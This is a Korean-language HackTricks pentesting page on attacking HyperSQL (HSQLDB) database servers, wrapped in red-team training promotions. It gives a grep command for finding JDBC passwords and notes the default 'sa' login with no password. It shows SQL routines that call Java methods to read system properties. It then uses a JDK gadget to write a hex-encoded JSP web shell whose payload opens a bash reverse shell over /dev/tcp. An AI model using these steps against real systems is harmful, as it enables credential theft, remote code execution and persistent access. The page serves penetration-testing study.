tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**HSQLDB (HyperSQL DataBase)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 및 디스크 기반 테이블을 갖춘 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공하며, 임베디드 및 서버 모드를 지원합니다.
기본 포트: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
정보
기본 설정
기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다.
기본 자격 증명은 일반적으로 sa
와 빈 비밀번호입니다.
다른 서비스를 이용했다면, 가능한 자격 증명을 검색하세요.
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
데이터베이스 이름을 주의 깊게 기록하세요 - 연결하는 데 필요합니다.
정보 수집
HSQLDB 다운로드 후 hsqldb/lib/hsqldb.jar
를 추출하여 DB 인스턴스에 연결합니다. java -jar hsqldb.jar
를 사용하여 GUI 앱 (eww)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다.
원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: jdbc:hsqldb:hsql://ip/DBNAME
.
트릭
자바 언어 루틴
HSQLDB에서 자바 언어 루틴을 사용하여 자바 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다.
JRT는 functions
또는 procedures
일 수 있습니다. 함수는 자바 메서드가 하나 이상의 SQL 호환 원시 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. VALUES
문을 사용하여 호출됩니다.
우리가 호출하려는 자바 메서드가 void를 반환하는 경우, CALL
문으로 호출되는 프로시저를 사용해야 합니다.
자바 시스템 속성 읽기
함수 생성:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
함수 실행:
VALUES(getsystemproperty('user.name'))
여기에서 시스템 속성 목록을 찾을 수 있습니다.
파일에 내용 쓰기
JDK에 위치한 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩 항목을 디스크에 쓸 수 있습니다 (애플리케이션의 클래스 경로에 자동으로 로드됨). 최대 크기는 1024 바이트입니다.
프로시저 생성:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
프로시저 실행:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.